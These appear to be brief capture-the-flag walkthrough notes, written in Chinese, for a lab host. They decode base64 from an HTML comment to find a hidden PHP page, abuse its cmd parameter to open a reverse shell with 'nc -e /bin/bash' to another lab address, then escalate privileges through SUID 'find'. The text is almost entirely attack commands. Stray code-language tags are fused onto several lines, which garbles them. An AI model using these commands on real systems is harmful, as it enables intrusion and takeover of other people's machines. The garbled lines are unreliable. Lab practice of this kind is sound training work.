主機掃描:php
http://10.10.202.130/bash
<!--WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK-->
進行解碼:ui
--WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK--spa
--ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K
--blog
--d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==cmd
--it
--workinginprogress.phpclass
--im
http://10.10.202.130/workinginprogress.php?cmd=idimg
http://10.10.202.130/workinginprogress.php?cmd=nc%20-e%20/bin/bash%2010.10.202.133%201234
find / -perm -g=s -type f 2>/dev/null
find . -exec /bin/sh -p \; -quit
OVER!